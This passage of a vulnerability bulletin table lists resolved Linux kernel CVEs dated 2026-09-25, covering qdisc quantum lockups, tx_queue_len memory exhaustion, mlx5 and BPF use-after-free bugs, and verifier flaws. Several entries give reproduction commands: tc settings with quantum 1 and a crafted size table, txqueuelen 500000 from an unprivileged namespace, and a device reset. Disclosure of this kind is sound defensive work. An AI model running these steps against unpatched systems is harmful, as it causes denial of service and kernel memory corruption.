&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/sched: drr: clamp quantum in change class drr_change_class() rejects explicit quantum==0 but falls back to psched_mtu() with no floor. With a crafted size table qdisc_pkt_len reaches ~2 GiB, so quantum=1 (or a zero psched_mtu on a headerless device) makes the deficit-refill loop spin under the qdisc lock. Add clamp_t(u32, quantum, 256, 1&amp;lt;&amp;lt;20) after the zero reject and on the fallback path. The explicit-zero reject is preserved. Conditions to recreate the bug: CONFIG_NET_SCH_DRR=y. Requires CAP_NET_ADMIN (namespace-local via unshare -Urn suffices). tc qdisc add dev dummy0 root drr tc class add dev dummy0 parent 1: classid 1:1 drr quantum 1&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98010&quot; target=&quot;_blank&quot;&gt;CVE-2026-98010&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/sched: hhf: clamp quantum in change and init paths hhf_change() accepts any quantum from userspace, including 1. With a crafted size table qdisc_pkt_len reaches ~2 GiB, so quantum=1 makes the deficit-refill loop spin ~2^31 times under the qdisc lock (a soft lockup / denial of service). Add max(256U, ...) in hhf_change() matching fq_codel_change(). Clamp hhf_init() to [256, 1&amp;lt;&amp;lt;20] matching the siblings, and remove the old fallback that only set quantum=256 on overflow. Conditions to recreate the bug: CONFIG_NET_SCH_HHF=y. Requires CAP_NET_ADMIN (namespace-local via unshare -Urn suffices). tc qdisc add dev dummy0 root hhf tc qdisc change dev dummy0 root hhf quantum 1 stab data 32768 size_log 15 cell_log 0&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98011&quot; target=&quot;_blank&quot;&gt;CVE-2026-98011&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/sched: sfq: clamp quantum in change path sfq_change() accepts any non-negative quantum (only rejects (int)ctl-&amp;gt;quantum &amp;lt; 0). With a crafted size table qdisc_pkt_len reaches ~2 GiB, so quantum=1 makes the deficit-refill loop spin ~2^31 times under the qdisc lock (a soft lockup / denial of service). Add max(256U, ...) matching fq_codel_change(). Reject quantum &amp;gt; 1&amp;lt;&amp;lt;20 with -EINVAL, matching fq_codel_change() and the init clamp. Conditions to recreate the bug: CONFIG_NET_SCH_SFQ=y. Requires CAP_NET_ADMIN (namespace-local via unshare -Urn suffices). tc qdisc add dev dummy0 root sfq tc qdisc change dev dummy0 root sfq quantum 1 stab data 32768 size_log 15 cell_log 0&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98012&quot; target=&quot;_blank&quot;&gt;CVE-2026-98012&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/sched: fq_pie: clamp quantum in change path fq_pie_change() accepts any quantum value from userspace, including 1. With a crafted size table qdisc_pkt_len reaches ~2 GiB, so quantum=1 makes the deficit-refill loop spin ~2^31 times under the qdisc lock (a soft lockup / denial of service). Add max(256U, ...) matching fq_codel_change(). Conditions to recreate the bug: CONFIG_NET_SCH_FQ_PIE=y. Requires CAP_NET_ADMIN (namespace-local via unshare -Urn suffices). tc qdisc add dev dummy0 root fq_pie tc qdisc change dev dummy0 root fq_pie quantum 1 stab data 32768 size_log 15 cell_log 0&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98013&quot; target=&quot;_blank&quot;&gt;CVE-2026-98013&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/mlx5: E-Switch, prevent mc_list repopulation during vport disable In mlx5_esw_vport_disable(), move esw_apply_vport_rx_mode() ahead of esw_vport_change_handle_locked() so vport-&amp;gt;allmulti_rule is NULL before the change handler observes it. During FW-fatal recovery the disable runs while dev-&amp;gt;state == INTERNAL_ERROR. The promisc query inside esw_update_vport_rx_mode() fails and returns early, leaving vport-&amp;gt;allmulti_rule intact, so esw_update_vport_mc_promisc() runs and adds MLX5_ACTION_ADD entries to vport-&amp;gt;mc_list whose flow rules are then installed in the FDB by esw_add_mc_addr(). esw_destroy_legacy_table() tears down the FDB with those refs still held, corrupting the sub-tree and leaving dangling flow_rule pointers in vport-&amp;gt;mc_list. Two-stage failure on `echo 1 &amp;gt; /sys/bus/pci/devices/&amp;lt;bdf&amp;gt;/reset`: refcount_t: underflow; use-after-free. tree_put_node+0xef/0x110 [mlx5_core] clean_tree+0x44/0xd0 [mlx5_core] (x5) mlx5_fs_core_cleanup+0x57/0x1c0 [mlx5_core] mlx5_unload+0x65/0xd0 [mlx5_core] ... mlx5_health_try_recover BUG: unable to handle page fault for address: 0000000003000055 down_write+0x1c/0x60 mlx5_del_flow_rules+0x33/0x1f0 [mlx5_core] esw_del_mc_addr+0x7b/0x170 [mlx5_core] esw_apply_vport_addr_list+0x56/0xf0 [mlx5_core] esw_vport_change_handle_locked+0x28b/0x310 [mlx5_core] mlx5_esw_vport_enable+0x270/0x4a0 [mlx5_core] ... mlx5_load ... mlx5_health_try_recover esw_apply_vport_rx_mode(false, false) clears vport-&amp;gt;allmulti_rule via its local state machine even when the FW del fails. With the rule NULL the !IS_ERR_OR_NULL(allmulti_rule) gate in the change handler closes, no rules are installed during disable, and the reload starts with a clean mc_list.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98014&quot; target=&quot;_blank&quot;&gt;CVE-2026-98014&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/mlx5: E-Switch: fix use-after-free in mlx5_eswitch_termtbl_put In mlx5_eswitch_termtbl_put(), the zero-ref cleanup check reads tt-&amp;gt;ref_count after termtbl_mutex has been released. Two concurrent callers on the same mlx5_termtbl_handle race: one decrements ref_count to zero, removes the hash entry, and calls kfree(tt) while the other has already dropped the mutex and is about to evaluate if (!tt-&amp;gt;ref_count), producing a use-after-free. Fix this by capturing the result of the decrement into a stack-local last variable before dropping the mutex. The cleanup decision is now made entirely under termtbl_mutex, and tt is not touched after kfree.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98015&quot; target=&quot;_blank&quot;&gt;CVE-2026-98015&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/mlx5e: Fix use-after-free race in sample_restore_put() Concurrent teardown of TC sample rules sharing the same restore context may re-read restore-&amp;gt;count after dropping restore_lock. At that point another thread may already have completed cleanup and freed the restore object. Use the result of the refcount decrement while holding restore_lock to determine whether cleanup is needed.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98016&quot; target=&quot;_blank&quot;&gt;CVE-2026-98016&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: mctp: i3c: serialize probe with bus removal mctp_i3c_probe() drops busdevs_lock after finding the matching bus. A concurrent I3C_NOTIFY_BUS_REMOVE can then unregister and free the bus netdev before probe passes its private data to mctp_i3c_add_device(). The latter consequently adds a list node through a freed mbus pointer. Keep busdevs_lock held until the device has been added. This also satisfies the __must_hold annotation on mctp_i3c_add_device().&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98018&quot; target=&quot;_blank&quot;&gt;CVE-2026-98018&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: mark a NULL call argument precise check_func_arg() allows bpf_register_is_null() for nullable arguments w/o marking the underlying scalar register precise. Hence a checkpoint created on such a path would prune against arbitrary scalar value. check_helper_call() enforces second parameter of the bpf_get_local_storage() to be zero, w/o marking the underlying scalar register precise. Hence a checkpoint created on such a path would prune against arbitrary scalar value. Grouping these two into one patch, as they share the same fixes tag.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98019&quot; target=&quot;_blank&quot;&gt;CVE-2026-98019&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: pds_core: fix cmd_regs access racing BAR unmap on reset pdsc_reset_prepare() and pdsc_reset_done()&#039;s pdsc_map_bars() error path clear/iounmap cmd_regs without devcmd_lock, and pdsc_legacy_firmware_update()&#039;s download loop derefs cmd_regs after dropping and retaking the lock without re-checking. An FLR concurrent with a devlink flash can unmap cmd_regs under an in-flight devcmd, causing a NULL deref or a write to unmapped MMIO. Take devcmd_lock across the BAR unmap/remap, and re-check cmd_regs in the download loop. Only the PF maps cmd_regs and runs devcmd, so skip the unmap on a VF, as pdsc_remove() and pdsc_reset_done() already do. A reset that completes entirely within the unlocked window is not a correctness problem for the image: the device clears its update session, so a resumed download is rejected, and it verifies the staged image before writing a flash slot, reporting PDS_RC_BAD_FW rather than activating it. pdsc_unmap_bars() also clears info_regs, intr_status and intr_ctrl. The interrupt and start/stop readers of those are quiesced before the unmap by pdsc_fw_down(), which frees the interrupts and tears down the queues. The debugfs readers are not, since those files outlive a reset; that is pre-existing and out of scope here.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98020&quot; target=&quot;_blank&quot;&gt;CVE-2026-98020&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: reject oversized tx_queue_len at netlink parse time rtnl_create_link() assigns IFLA_TXQLEN directly to dev-&amp;gt;tx_queue_len without going through netif_change_tx_queue_len(), so a device created with &quot;ip link add ... txqueuelen 500000&quot; bypasses the S16_MAX cap and still triggers the oversized ring allocations in pfifo_fast, tun and tap. The veth peer nest (rtnl_nla_parse_ifinfomsg()) and the RTM_NEWLINK-on-existing-device path reach the same sinks. Enforce the cap in ifla_policy instead: IFLA_TXQLEN becomes NLA_POLICY_FULL_RANGE(NLA_U32, &amp;amp;txqlen_range) with txqlen_range = { .min = 0, .max = S16_MAX }. All netlink consumers parse against this policy - rtnl_setlink(), rtnl_newlink() (create and change), and the veth peer nest - so every netlink path is capped at parse time and rejects the attribute with -ERANGE plus a proper &quot;integer out of range&quot; extack message before any device state is modified (the RTM_SETLINK half-application wart is gone with it). Document the bound in the rt-link.yaml netlink spec. Conditions to recreate the bug: - CONFIG_NET_SCHED=y, CONFIG_VETH=y, CONFIG_USER_NS=y, CONFIG_NET_NS=y. - Unprivileged user in a fresh user+net namespace (unshare -Urn): ip link add v0 txqueuelen 500000 type veth peer name v1 -&amp;gt; on the fixed kernel this is rejected with -ERANGE (&quot;integer out of range&quot; extack) instead of installing an oversized tx_queue_len that later inflates pfifo_fast/tun/tap ring allocations. - ip link set v0 txqueuelen 500000 is likewise rejected at parse time.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98021&quot; target=&quot;_blank&quot;&gt;CVE-2026-98021&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: cap tx_queue_len at S16_MAX to prevent oversized ring allocations Several subsystems allocate ring buffers sized by dev-&amp;gt;tx_queue_len with no upper bound. An unprivileged user (via unshare -Urn) can set a huge tx_queue_len and exhaust global memory with ring allocations: - pfifo_fast: pfifo_fast_init() and pfifo_fast_change_tx_queue_len() allocate 3 skb_array rings of tx_queue_len entries each. - tun: tun_queue_resize() and the queue-attach path resize ptr_rings to tx_queue_len on the NETDEV_CHANGE_TX_QUEUE_LEN notifier. - tap (macvtap/ipvtap): tap_queue_resize() and tap_init() resize/init ptr_rings to tx_queue_len on the same notifier. netif_change_tx_queue_len() is the single entry point for IFLA_TXQLEN, sysfs, and the SIOCSIFTXQLEN ioctl. Cap new_len at S16_MAX (32767) there so the oversized value is rejected at set time. This takes effect whether the device is up or down, before dev-&amp;gt;tx_queue_len is written, before any notifier fires, and before any ring is allocated. The &quot;&amp;gt; S16_MAX&quot; check also subsumes the previous unsigned-long truncation test, and a negative ifr_qlen from the ioctl lands far above the cap after conversion, so both old failure modes are covered by the one comparison. tx_queue_len is ambigious: both a per-ring sizing multiplier and a default queue-length/limit knob for consumers that allocate nothing at set time (pfifo/bfifo/gred/plug/sfb limits, htb direct_qlen, qfq max_classes, teql). 32767 is chosen as the largest value NLA_POLICY_FULL_RANGE can express for the u32 IFLA_TXQLEN policy in patch 2/3 while staying a legitimate queue length on high-BDP paths; the ring-memory trade-off of a shared knob is disclosed below. Conditions to recreate the bug: - CONFIG_NET_SCHED=y, CONFIG_VETH=y, CONFIG_USER_NS=y, CONFIG_NET_NS=y. - Unprivileged user in a fresh user+net namespace (unshare -Urn). - pfifo_fast: create veth pairs, set tx_queue_len to 500000, attach mq+pfifo_fast. ~28 iterations OOMs a 2GB guest. - tun: create 50 tun devices with IFF_MULTI_QUEUE, set tx_queue_len to 500000, open 8 queues each. ~1.6GB of ptr_ring allocations OOMs a 512MB guest. - tap: same as tun with IFF_TAP. ~960MB OOMs a 512MB guest. - On the fixed kernel the oversized tx_queue_len is rejected with -ERANGE at set time (all four paths: RTM_SETLINK, RTM_NEWLINK create, sysfs, ioctl - the latter two via this check, the former two via this check and the 2/3 parse policy respectively).&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98022&quot; target=&quot;_blank&quot;&gt;CVE-2026-98022&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: s390/ism: folio_put() after error dmb-&amp;gt;cpu_addr was allocated via folio_alloc(). Use folio_put() instead of kfree() in the error exit of ism_alloc_dmb() to avoid slab allocator corruption. While at it, reset dmb-&amp;gt;cpu_addr after folio_put to avoid unintentional UAF by future callers.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98024&quot; target=&quot;_blank&quot;&gt;CVE-2026-98024&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: usb: cx82310_eth: drop URB after 0xffff reboot sentinel to prevent partial_data heap overflow The 0xffff length sentinel detects a router reboot and schedules re-enabling of ethernet mode, but then falls through to the rest of the loop body. The next check is } else if (len &amp;gt; CX82310_MTU) { which is the else of the just-matched if -- it never fires for len == 0xffff. The MTU bound that normally caps the incomplete-packet save path is silently bypassed. With 0xffff &amp;gt; skb-&amp;gt;len always true (rx_urb_size is 4096), the incomplete-packet branch saves dev-&amp;gt;partial_len = skb-&amp;gt;len bytes into dev-&amp;gt;partial_data. partial_data is kmalloc(hard_mtu) = kmalloc(CX82310_MTU + 2) = 1516 bytes, but skb-&amp;gt;len after the 2-byte header pull can be up to 4094. A device that sends a 4096-byte URB starting with [0xff 0xff] therefore copies 4094 device-provided bytes into a buffer allocated for 1516 bytes, exceeding its requested size by 2578 bytes. The next URB then reads dev-&amp;gt;partial_len (4094) back from the same 1516-byte buffer and dev-&amp;gt;partial_rem (65535 - 4094 = 61441) from the new URB&#039;s ~4KB skb, both well past their allocations, and delivers the spliced result as a 64KB &quot;frame&quot; to the network stack. Bail out of rx_fixup after scheduling the re-enable work; the remainder of a reboot-marker URB is not meaningful packet data. This restores the invariant that partial_len &amp;lt; CX82310_MTU + 2 on the save path, since every other route there has already passed the MTU check.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98025&quot; target=&quot;_blank&quot;&gt;CVE-2026-98025&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: bridge: mcast: properly convert mglist to rcu Sashiko reported a bug [1] that br_multicast_del_port_group unlists the port group not using proper rcu helper that preserves the next pointer and after that immediately frees the port group without waiting for rcu grace period. The only rcu walker of mglist is br_multicast_list_adjacent() and it turns out that function has always been buggy because mglist was never properly converted to RCU. Fix it by converting it to rcu and moving its initialization after eth_addr&#039;s. Initializing p-&amp;gt;next can use RCU_INIT_POINTER because we have a barrier from the hlist_add_head_rcu call later, besides we&#039;re initializing an unpublished structure anyway. [1] https://netdev-ai.bots.linux.dev/sashiko/#/patchset/20260826014200.362304-1-littleddfu%40gmail.com&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98026&quot; target=&quot;_blank&quot;&gt;CVE-2026-98026&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: eth: nfp: drop the replaced rule from the list when reprogramming fails nfp_net_fs_add() replaces an existing rule by deleting it from the hardware, decrementing nn-&amp;gt;fs.count and programming the new one. If nfp_net_fs_add_hw() fails the old entry stays on nn-&amp;gt;fs.list - only the success path reaches list_replace() - so the list is one longer than nn-&amp;gt;fs.count, and it advertises a rule whose hardware entry has already been torn down. nn-&amp;gt;fs.count is what ETHTOOL_GRXCLSRLCNT reports, so userspace then sizes its buffer one entry short of what the GRXCLSRLALL walk wants to write. That used to overwrite one u32 past the allocation; since the walk is bounded it is a permanent -EMSGSIZE instead, as nothing ever resyncs the counter.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98028&quot; target=&quot;_blank&quot;&gt;CVE-2026-98028&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nexthop: Initialize extack in remove_nh_grp_entry() remove_nh_grp_entry() prints the extack message when a listener fails to replace the reduced nexthop group. However, extack is not initialized and listeners are not required to set a message when returning an error. Neither netdevsim nor mlxsw do so when an allocation fails, resulting in the dereference of an uninitialized stack pointer. Fix by zero-initializing extack, as was done in commit 6347c5314cee (&quot;nexthop: initialize extack in nh_res_bucket_migrate()&quot;).&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98031&quot; target=&quot;_blank&quot;&gt;CVE-2026-98031&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tracing: Fix subbuf resize races with trace_pipe_raw readers Concurrent subbuffer resizes may crash trace_pipe_raw readers or leak uninitialized memory to userspace due to stale size values. Modify ring_buffer_alloc_read_page() to handle the resizing of an existing buffer_data_read_page if necessary and add a new ring_buffer_read_page_size(). This new function enables ring-buffer buffer_data_read_page users to not call the racy ring_buffer_subbuf_size_get(). This makes the spare_size member of ftrace_buffer_info redundant. Finally, handle buffer_data_read_page/reader_page order discrepancy in ring_buffer_read_page(). On a mismatch simply copy manually the data to the buffer_data_read_page.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98032&quot; target=&quot;_blank&quot;&gt;CVE-2026-98032&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Preserve inner map identity in callback frames Callback frame constructors initialize map-typed argument registers with __mark_reg_known_zero() and then restore map_ptr. This clears map_uid, which is the only field distinguishing inner maps that share an inner_map_meta template. When a timer callback invokes bpf_for_each_map_elem() on a second inner map, both the saved first map and the second map value can reach the nested callback as the same template with map_uid zero. bpf_timer_init() then accepts pairing the timer from the second map with the first map. The runtime records the first map in the timer without taking a reference. Freeing that map does not find the timer stored in the second map, so a later timer callback dereferences the freed map. Copy map_uid from the same caller register as map_ptr when constructing for-each, timer/workqueue, and task-work callback arguments. The existing identity check can then reject mismatched inner maps while allowing a callback value to be paired with its actual map.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98033&quot; target=&quot;_blank&quot;&gt;CVE-2026-98033&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Mark NULL kptr stores precise check_map_kptr_access() permits a scalar store into an untrusted kptr field only when the register is known to contain zero. Unlike other verifier checks whose outcome depends on a scalar value, it does not mark that register precise. A state checkpoint reached with an imprecise zero can therefore prune a second path that reaches the store with an arbitrary nonzero scalar. The program can write attacker-controlled bits into the kptr field and load them back as a PTR_TO_BTF_ID. Call mark_chain_precision() before accepting a known-zero register. This forces state equivalence to compare its scalar range and makes the verifier visit and reject a path carrying a nonzero value.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98034&quot; target=&quot;_blank&quot;&gt;CVE-2026-98034&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Cancel special fields when recycling rhtab elements rhtab_map_update_existing() and rhtab_delete_elem() call bpf_obj_free_fields() when replacing or deleting a value. These map operations can run from BPF programs in NMI context, where releasing a referenced kptr or another complex field is not generally safe. Array and hash maps avoid that problem by cancelling only the asynchronous fields which can be stopped safely in the caller context. Other ownership state remains attached to the allocation until its memory allocator destructor performs the final cleanup. Use bpf_obj_cancel_fields() for the corresponding rhtab paths as well. This cancels timers, workqueues, and task work while allowing rhtab_mem_dtor() to release referenced kptrs when the allocation is eventually destroyed. [ kkd: Rebased, used direct helper calls, and rewrote the commit log ]&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98035&quot; target=&quot;_blank&quot;&gt;CVE-2026-98035&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Preserve special fields in recycled rhtab elements rhtab_map_update_elem() initializes special fields after obtaining an element from bpf_mem_cache_alloc(). The allocator can return a fresh, zeroed unit, or recycle one from its RCU-pending lists before the registered destructor has run. A BPF program can retain a map-value pointer after deleting its element and initialize and arm a timer through that pointer. If the deleted unit is recycled, check_and_init_map_value() clears the only pointer to the timer. Neither a later deletion nor rhtab_mem_dtor() can then cancel it, and the callback can run with its key and value pointing into freed memory. Do not reinitialize special fields on insertion. Fresh allocator units are already zeroed. For recycled units, the special fields are ownership state that must remain visible to the eventual destructor. copy_map_value() already skips those fields, matching the non-preallocated hash-map path and the lifecycle established by commit 275c30bcee66 (&quot;bpf: Don&#039;t reinit map value in prealloc_lru_pop&quot;). [ kkd: Split out the fix and rewrote the commit log ]&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98036&quot; target=&quot;_blank&quot;&gt;CVE-2026-98036&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Reject untrusted allocated-object pointers When the final RCU read-side critical section ends, a local kptr is demoted to PTR_UNTRUSTED but retains MEM_ALLOC. The pointer may be NULL or may refer to an object whose lifetime is no longer protected. type_is_ptr_alloc_obj() nevertheless recognizes any PTR_TO_BTF_ID with MEM_ALLOC as a live allocated object. In particular, a refcount-only local kptr never carries NON_OWN_REF, so it still passes the bpf_refcount_acquire() argument check after RCU protection ends. The kfunc can then dereference NULL or stale memory. Make type_is_ptr_alloc_obj() reject PTR_UNTRUSTED pointers. Since type_is_non_owning_ref() is based on the same predicate, graph kfunc arguments obey the same live-object requirement. Fault-protected reads of the demoted pointer remain valid: writes are already rejected, and read fixups use bpf_may_fault_on_deref() rather than this predicate. [ kkd: Rewrote commit log ]&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98037&quot; target=&quot;_blank&quot;&gt;CVE-2026-98037&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Keep refcount_acquire nullable for borrowed RCU kptrs bpf_refcount_acquire() is fallible for a borrowed reference because the object may have reached a zero refcount. The verifier therefore keeps KF_RET_NULL on the return value unless the argument is an owning reference. An RCU-protected load of a local kptr is marked MEM_ALLOC, but it only receives NON_OWN_REF when the pointee contains a graph node. A refcounted object without a graph node consequently looks like an owning reference even though the loaded register has no acquired reference state. If the program drops the last real reference while remaining in the RCU critical section, refcount_inc_not_zero() returns NULL while the verifier treats the result as non-NULL. Only classify the argument as owning when it is backed by a verifier-tracked reference. This retains the non-NULL return for pointers from bpf_obj_new(), bpf_kptr_xchg(), or an earlier successful acquisition, while requiring a NULL check for borrowed RCU kptrs. [ kkd: Rewrote commit log ]&lt;/td&gt;
